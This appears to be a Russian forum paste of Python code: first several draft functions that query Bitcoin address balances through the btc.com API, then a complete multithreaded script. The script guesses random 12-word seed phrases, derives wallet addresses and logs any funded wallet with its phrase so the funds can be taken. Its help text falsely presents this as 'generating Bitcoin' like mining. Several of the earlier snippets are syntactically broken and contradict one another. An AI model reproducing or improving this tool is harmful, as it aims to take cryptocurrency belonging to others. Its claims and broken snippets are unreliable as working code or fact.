Многопоточность

def getBalance(addr):
    url = f'https://chain.api.btc.com/v3/address/{addr}'
    response = requests.get(url)
    j = response.json()['data']
    return j['address'], j['sent'], j['balance']
 
address, sent, balance = getBalance("1GbQYnT5YTKca9Q8AngZrp89gM3xy8oooh")
 
print(f'A: {address}, S: {sent}, B: {balance}')

def getBalance(addr):
    try:
        response = requests.get(
            f'https://chain.api.btc.com/v3/address/{addr}')
        return (
            Decimal(response.json()["data"]["address"]["total"]["balance"])
        )
    except:
        pass

except Exception as e:
    print(e)

 Decimal(response.json(["data"])["address"]["total"]["balance"])

Decimal(response['data']['balance'])
address = response['data']['address']

>>> j
{'data': {'address': '1GbQYnT5YTKca9Q8AngZrp89gM3xy8oooh', 'received': 0, 'sent': 0, 'balance': 0, 'tx_count': 0, 'unconfirmed_tx_count': 0, 'unconfirmed_received': 0, 'unconfirmed_sent': 0, 'unspent_tx_count': 0, 'first_tx': '', 'last_tx': ''}, 'err_code': 0, 'err_no': 0, 'message': 'success', 'status': 'success'}
>>> address = j['data']['address']
>>> balance  =j['data']['balance']
>>> print(address, ' - ', balance)
1GbQYnT5YTKca9Q8AngZrp89gM3xy8oooh  -  0

def getBalance(addr):
    try:
        response = requests.get(
            f'https://chain.api.btc.com/v3/address/{addr}')
        return (
            Decimal(response.json()["data"]["address"]["total"]["balance"])
        )
    except:
        pass

def getBalance(addr):
    try:
        response = requests.get(
            f'https://chain.api.btc.com/v3/address/{addr}')
        return (
            j = response.json()
            address = j['data']['address']
            balance  =j['data']['balance']
            print(address, ' - ', balance)
        )
    except:
        pass

def get_attributes(addr):
    try:
        response = requests.get(f'https://chain.api.btc.com/v3/address/{addr}')
        data = response.json()['data']
        address = data['address']
        balance  =data['balance']
        sent = data['sent']
        return [address, balance, sent]
    except Exception as e:
        print('Внимание, то что ниже неси на форум! Тут ошибка:')
        raise

import pprint
import mnemonic
import bip32utils
import requests
import random
import os
from decimal import Decimal
from multiprocessing.pool import ThreadPool as Pool
import threading
from Bip39Gen import Bip39Gen
from time import sleep
import ctypes
from settings import dict_settings
 
class Settings():
    save_empty = "y"
    total_count = 0
    wet_count = 0
    dry_count = 0
 
 
def makeDir():
    path = 'results'
    if not os.path.exists(path):
        os.makedirs(path)
 
 
def userInput():
    while True:
            start()
            break
 
 
def getInternet():
    try:
        try:
            requests.get('http://216.58.192.142')#google.cock
        except requests.ConnectTimeout:
            requests.get('http://1.1.1.1')
        return True
    except requests.ConnectionError:
        return False
 
 
lock = threading.Lock()
 
if getInternet() == True:
    dictionary = requests.get(
        'https://raw.githubusercontent.com/bitcoin/bips/master/bip-0039/english.txt').text.strip().split('\n')
else:
    pass
 
 
def get_attributes(addr):
    try:
        response = requests.get(f'https://chain.api.btc.com/v3/address/{addr}')
        data = response.json()['data']
        address = data['address']
        balance  =data['balance']
        sent = data['sent']
        return [address, balance, sent]
    except Exception as e:
        print('Внимание, то что ниже неси на форум! Тут ошибка:')
        raise
 
 
 
 
 
 
def generateSeed():
    seed = ""
    for i in range(12):
        seed += random.choice(dictionary) if i == 0 else ' ' + \
            random.choice(dictionary)
    return seed
 
 
def bip39(mnemonic_words):
    mobj = mnemonic.Mnemonic("english")
    seed = mobj.to_seed(mnemonic_words)
 
    bip32_root_key_obj = bip32utils.BIP32Key.fromEntropy(seed)
    bip32_child_key_obj = bip32_root_key_obj.ChildKey(
        44 + bip32utils.BIP32_HARDEN
    ).ChildKey(
        0 + bip32utils.BIP32_HARDEN
    ).ChildKey(
        0 + bip32utils.BIP32_HARDEN
    ).ChildKey(0).ChildKey(0)
 
    return bip32_child_key_obj.Address()
 
 
def check():
    while True:
        mnemonic_words = Bip39Gen(dictionary).mnemonic
        addy = bip39(mnemonic_words)
        balance = getBalance(addy)
        with lock:
            print(
                f'Address: {addy} | Balance: {balance} | Mnemonic phrase: {mnemonic_words}')
            Settings.total_count += 1
            if Settings.save_empty == "y":
                ctypes.windll.kernel32.SetConsoleTitleW(
                    f"Empty: {Settings.dry_count} - Hits: {Settings.wet_count} - Total checks: {Settings.total_count}")
            else:
                ctypes.windll.kernel32.SetConsoleTitleW(
                    f"Hits: {Settings.wet_count} - Total checks: {Settings.total_count}")
        if balance > 0:
            with open('results/wet.txt', 'a') as w:
                w.write(
                    f'Address: {addy} | Balance: {balance} | Mnemonic phrase: {mnemonic_words}\n')
                Settings.wet_count += 1
        else:
            if Settings.save_empty == "n":
                pass
            else:
                with open('results/dry.txt', 'a') as w:
                    w.write(
                        f'Address: {addy} | Balance: {balance} | Mnemonic phrase: {mnemonic_words}\n')
                    Settings.dry_count += 1
 
 
def helpText():
    print("""
This program was made by Anarb and it generates Bitcoin by searching multiple possible
wallet combinations until it's finds one with over 0 BTC and saves it into
a file called "wet.txt" in the results folder.
It's recommended to leave this running for a long time to get the best resaults, It's doesn't use up
that much resources so you can leave it in the background in the chance of you hitting a jackpot.
It's like mining but with less resources
 
Modyfied by: 
@anonymousl33t TikTok
@anonymousl337 Telegram
 
        """)
 
 
def start():
    try:
        #threads = int(input("Number of threads (1 - 666): "))
        #threads2 = dict_settings["threads"]
        #threads = int(threads2)
        threads = 100
        if threads > 100:
            print("You can only run 666 threads at once")
            start()
    except ValueError:
        print("Enter an interger!")
        start()
    #Settings.save_empty = input("Save empty? (y/n): ").lower()
    Settings.save_empty = dict_settings["save_empty"]
    if getInternet() == True:
        pool = Pool(threads)
        for _ in range(threads):
            pool.apply_async(check, ())
        pool.close()
        pool.join()
    else:
        print("Told ya")
        userInput()
 
 
if __name__ == '__main__':
    makeDir()
    getInternet()
    if getInternet() == False:
        print("You have no internet access the generator won't work.")
    else:
        pass
    userInput()